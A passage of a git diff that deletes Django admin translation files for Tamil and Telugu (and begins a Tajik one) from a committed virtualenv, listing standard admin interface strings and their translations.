-"மற்றவையும் நீக்கப்படும். " - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "ஆம், எனக்கு உறுதி" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Change" -msgstr "மாற்றுக" - -msgid "Delete?" -msgstr "" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s ஆல்" - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "சேர்க்க" - -msgid "You don't have permission to edit anything." -msgstr "உங்களுக்கு மாற்றுவதற்குரிய உரிமையில்லை" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "எதுவும் கிடைக்கவில்லை" - -msgid "Unknown content" -msgstr "" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"உங்களுடைய தகவல்சேமிப்பகத்தை நிறுவுவதில் சில தவறுகள் உள்ளது. அதற்கு இணையான " -"தகவல்சேமிப்பு அட்டவணையைதயாரிக்கவும். மேலும் பயனர் படிக்கும் படியான தகவல்சேமிப்பகத்தை " -"உருவாக்கவும்." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "தேதி/நேரம் " - -msgid "User" -msgstr "பயனர்" - -msgid "Action" -msgstr "செயல்" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"இந்த பொருள் மாற்று வரலாற்றில் இல்லைஒரு வேளை நிர்வாகத்தளத்தின் மூலம் சேர்க்கப்படாமலிருக்கலாம்" - -msgid "Show all" -msgstr "எல்லாவற்றையும் காட்டு" - -msgid "Save" -msgstr "சேமிக்க" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s மொத்தம்" - -msgid "Save as new" -msgstr "புதியதாக சேமி" - -msgid "Save and add another" -msgstr "சேமித்து இன்னுமொன்றைச் சேர்" - -msgid "Save and continue editing" -msgstr "சேமித்து மாற்றத்தை தொடருக" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "வலைத்தளத்தில் உங்களது பொன்னான நேரத்தை செலவழித்தமைக்கு மிகுந்த நன்றி" - -msgid "Log in again" -msgstr "மீண்டும் உள்ளே பதிவு செய்யவும்" - -msgid "Password change" -msgstr "கடவுச்சொல் மாற்று" - -msgid "Your password was changed." -msgstr "உங்களுடைய கடவுச்சொல் மாற்றபட்டது" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"பாதுகாப்பு காரணங்களுக்காக , முதலில் உங்களது பழைய கடவுச்சொல்லை உள்ளிடுக. அதன் பிறகு " -"புதிய கடவுச்சொல்லை இரு முறை உள்ளிடுக. இது உங்களது உள்ளிடுதலை சரிபார்க்க உதவும். " - -msgid "Change my password" -msgstr "கடவுச் சொல்லை மாற்றவும்" - -msgid "Password reset" -msgstr "கடவுச்சொல்லை மாற்றியமை" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "புதிய கடவுச்சொல்:" - -msgid "Confirm password:" -msgstr "கடவுச்சொலின் மாற்றத்தை உறுதிப்படுத்து:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you've forgotten:" -msgstr "உங்களது பயனாளர் பெயர், நீங்கள் மறந்திருந்தால்:" - -msgid "Thanks for using our site!" -msgstr "எங்களது வலைத்தளத்தை பயன் படுத்தியதற்கு மிகுந்த நன்றி" - -#, python-format -msgid "The %(site_name)s team" -msgstr "இந்த %(site_name)s -இன் குழு" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "எனது கடவுச்சொல்லை மாற்றியமை" - -msgid "All dates" -msgstr "அனைத்து தேதியும்" - -#, python-format -msgid "Select %s" -msgstr "%s யை தேர்ந்தெடு" - -#, python-format -msgid "Select %s to change" -msgstr "%s யை மாற்ற தேர்ந்தெடு" - -msgid "Date:" -msgstr "தேதி:" - -msgid "Time:" -msgstr "நேரம்:" - -msgid "Lookup" -msgstr "" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ta/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ta/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 33931115..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ta/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ta/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ta/LC_MESSAGES/djangojs.po deleted file mode 100644 index 0a7bfcc6..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ta/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,204 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Tamil (http://www.transifex.com/django/django/language/ta/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ta\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s இருக்கிறதா " - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "வடிகட்டி" - -msgid "Choose all" -msgstr "எல்லாவற்றையும் தேர்ந்த்தெடுக்க" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "அழிக்க" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s தேர்ந்த்தெடுக்கப்பட்ட" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "இப்பொழுது " - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "ஒரு நேரத்தை தேர்ந்த்தெடுக்க " - -msgid "Midnight" -msgstr "நடு இரவு " - -msgid "6 a.m." -msgstr "காலை 6 மணி " - -msgid "Noon" -msgstr "மதியம் " - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "வேண்டாம் " - -msgid "Today" -msgstr "இன்று " - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "நேற்று " - -msgid "Tomorrow" -msgstr "நாளை" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "" - -msgid "Hide" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/te/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/te/LC_MESSAGES/django.mo deleted file mode 100644 index 17e7dc6b..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/te/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/te/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/te/LC_MESSAGES/django.po deleted file mode 100644 index f624d4f9..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/te/LC_MESSAGES/django.po +++ /dev/null @@ -1,640 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# bhaskar teja yerneni , 2011 -# Jannis Leidel , 2011 -# ప్రవీణ్ ఇళ్ళ , 2011,2013 -# వీవెన్ , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 16:40+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Telugu (http://www.transifex.com/django/django/language/te/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: te\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s జయప్రదముగా తీసేవేయబడినది." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s తొలగించుట వీలుకాదు" - -msgid "Are you sure?" -msgstr "మీరు ఖచ్చితంగా ఇలా చేయాలనుకుంటున్నారా?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "ఎంచుకోన్న %(verbose_name_plural)s తీసివేయుము " - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "అన్నీ" - -msgid "Yes" -msgstr "అవును" - -msgid "No" -msgstr "కాదు" - -msgid "Unknown" -msgstr "తెలియనది" - -msgid "Any date" -msgstr "ఏ రోజైన" - -msgid "Today" -msgstr "ఈ రోజు" - -msgid "Past 7 days" -msgstr "గత 7 రోజుల గా" - -msgid "This month" -msgstr "ఈ నెల" - -msgid "This year" -msgstr "ఈ సంవత్సరం" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "చర్య:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "" - -msgid "Remove" -msgstr "తొలగించు" - -msgid "action time" -msgstr "పని సమయము " - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "వస్తువు" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "వస్తువు" - -msgid "action flag" -msgstr "పని ఫ్లాగ్" - -msgid "change message" -msgstr "సందేశము ని మార్చంది" - -msgid "log entry" -msgstr "లాగ్ ఎంట్రీ" - -msgid "log entries" -msgstr "లాగ్ ఎంట్రీలు" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "మరియు" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "క్షేత్రములు ఏమి మార్చబడలేదు" - -msgid "None" -msgstr "వొకటీ లేదు" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"అంశములపయి తదుపరి చర్య తీసుకోనటకు వాటిని ఎంపిక చేసుకోవలెను. ప్రస్తుతం ఎటువంటి అంశములు " -"మార్చబడలేదు." - -msgid "No action selected." -msgstr "మీరు ఎటువంటి చర్య తీసుకొనలేదు " - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "%(name)s \"%(obj)s\" జయప్రదంగా తీసివేయబడ్డడి" - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "%sని జత చేయండి " - -#, python-format -msgid "Change %s" -msgstr "%sని మార్చుము" - -msgid "Database error" -msgstr "దత్తాంశస్థానము పొరబాటు " - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s జయప్రదముగా మార్చబడినవి." -msgstr[1] "%(count)s %(name)s జయప్రదముగా మార్చబడినవి." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s ఎంపికయినది." -msgstr[1] "అన్ని %(total_count)s ఎంపికయినవి." - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 of %(cnt)s ఎంపికయినవి." - -#, python-format -msgid "Change history: %s" -msgstr "చరిత్రం మార్చు: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "జాంగొ యొక్క నిర్వాహణదారులు" - -msgid "Django administration" -msgstr "జాంగొ నిర్వాహణ" - -msgid "Site administration" -msgstr "సైట్ నిర్వాహణ" - -msgid "Log in" -msgstr "ప్రవేశించండి" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "పుట దొరకలేదు" - -msgid "We're sorry, but the requested page could not be found." -msgstr "క్షమించండి మీరు కోరిన పుట దొరకలేడు" - -msgid "Home" -msgstr "నివాసము" - -msgid "Server error" -msgstr "సర్వర్ పొరబాటు" - -msgid "Server error (500)" -msgstr "సర్వర్ పొరబాటు (500)" - -msgid "Server Error (500)" -msgstr "సర్వర్ పొరబాటు (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "ఎంచుకున్న చర్యను నడుపు" - -msgid "Go" -msgstr "వెళ్లు" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -msgid "Clear selection" -msgstr "ఎంపికను తుడిచివేయి" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "ఒక వాడుకరిపేరు మరియు సంకేతపదాన్ని ప్రవేశపెట్టండి." - -msgid "Change password" -msgstr "సంకేతపదాన్ని మార్చుకోండి" - -msgid "Please correct the error below." -msgstr "క్రింద ఉన్న తప్పులు సరిదిద్దుకోండి" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "Welcome," -msgstr "సుస్వాగతం" - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "పత్రీకరణ" - -msgid "Log out" -msgstr "నిష్క్రమించండి" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s జత చేయు" - -msgid "History" -msgstr "చరిత్ర" - -msgid "View on site" -msgstr "సైట్ లో చూడండి" - -msgid "Filter" -msgstr "వడపోత" - -msgid "Remove from sorting" -msgstr "క్రమీకరణ నుండి తొలగించు" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "తొలగించు" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "అవును " - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Change" -msgstr "మార్చు" - -msgid "Delete?" -msgstr "తొలగించాలా?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "" - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "చేర్చు" - -msgid "You don't have permission to edit anything." -msgstr "మీకు ఏది మార్చటానికి అధికారము లేదు" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "ఏమి దొరకలేదు" - -msgid "Unknown content" -msgstr "తెలియని విషయం" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "మీ సంకేతపదం లేదా వాడుకరిపేరును మర్చిపోయారా?" - -msgid "Date/time" -msgstr "తేదీ/సమయం" - -msgid "User" -msgstr "వాడుకరి" - -msgid "Action" -msgstr "చర్య" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "అన్నీ చూపించు" - -msgid "Save" -msgstr "భద్రపరుచు" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "వెతుకు" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s ఫలితం" -msgstr[1] "%(counter)s ఫలితాలు" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s మొత్తము" - -msgid "Save as new" -msgstr "కొత్త దాని లా దాచు" - -msgid "Save and add another" -msgstr "దాచి కొత్త దానిని కలపండి" - -msgid "Save and continue editing" -msgstr "దాచి మార్చుటా ఉందండి" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "" - -msgid "Log in again" -msgstr "మళ్ళీ ప్రవేశించండి" - -msgid "Password change" -msgstr "అనుమతి పదం మార్పు" - -msgid "Your password was changed." -msgstr "మీ అనుమతి పదం మార్చబడిండి" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"దయచేసి రక్షన కోసము, మీ పాత అనుమతి పదం ఇవ్వండి , కొత్త అనుమతి పదం రెండు సార్లు ఇవ్వండి , " -"ఎం దుకంటే మీరు తప్పు ఇస్తే సరిచేయటానికి " - -msgid "Change my password" -msgstr "నా సంకేతపదాన్ని మార్చు" - -msgid "Password reset" -msgstr "అనుమతి పదం తిరిగి అమర్చు" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "మీ అనుమతి పదం మర్చుబడినది. మీరు ఇప్పుదు లాగ్ ఇన్ అవ్వచ్చు." - -msgid "Password reset confirmation" -msgstr "అనుమతి పదం తిరిగి మార్చు ఖాయం చెయండి" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"దయచేసి రక్షన కోసము, మీ పాత అనుమతి పదం ఇవ్వండి , కొత్త అనుమతి పదం రెండు సార్లు ఇవ్వండి , " -"ఎం దుకంటే మీరు తప్పు ఇస్తే సరిచేయటానికి " - -msgid "New password:" -msgstr "కొత్త సంకేతపదం:" - -msgid "Confirm password:" -msgstr "సంకేతపదాన్ని నిర్ధారించండి:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you've forgotten:" -msgstr "మీ వాడుకరిపేరు, ఒక వేళ మీరు మర్చిపోయివుంటే:" - -msgid "Thanks for using our site!" -msgstr "మా సైటుని ఉపయోగిస్తున్నందుకు ధన్యవాదములు!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s జట్టు" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "ఈమెయిలు చిరునామా:" - -msgid "Reset my password" -msgstr "అనుమతిపదం తిరిగి అమర్చు" - -msgid "All dates" -msgstr "అన్నీ తేదీలు" - -#, python-format -msgid "Select %s" -msgstr "%s ని ఎన్నుకోండి" - -#, python-format -msgid "Select %s to change" -msgstr "%s ని మార్చటానికి ఎన్నుకోండి" - -msgid "Date:" -msgstr "తారీఖు:" - -msgid "Time:" -msgstr "సమయం:" - -msgid "Lookup" -msgstr "అంశ శోధన." - -msgid "Currently:" -msgstr "ప్రస్తుతం" - -msgid "Change:" -msgstr "మార్చు:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/te/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/te/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 92b65f17..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/te/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/te/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/te/LC_MESSAGES/djangojs.po deleted file mode 100644 index cfa35a1e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/te/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,205 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# bhaskar teja yerneni , 2011 -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Telugu (http://www.transifex.com/django/django/language/te/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: te\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "ఆందుబాతులోఉన్న %s " - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "వడపోత" - -msgid "Choose all" -msgstr "అన్నీ ఎన్నుకోండి" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "తీసివేయండి" - -#, javascript-format -msgid "Chosen %s" -msgstr "ఎన్నుకున్న %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "ఇప్పుడు" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "ఒక సమయము ఎన్నుకోండి" - -msgid "Midnight" -msgstr "ఆర్ధరాత్రి" - -msgid "6 a.m." -msgstr "6 a.m" - -msgid "Noon" -msgstr "మధ్యాహ్నము" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "రద్దు చేయు" - -msgid "Today" -msgstr "ఈనాడు" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "నిన్న" - -msgid "Tomorrow" -msgstr "రేపు" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "చూపించుము" - -msgid "Hide" -msgstr "దాచు" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tg/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tg/LC_MESSAGES/django.mo deleted file mode 100644 index 34085cb0..00000000 Binary files 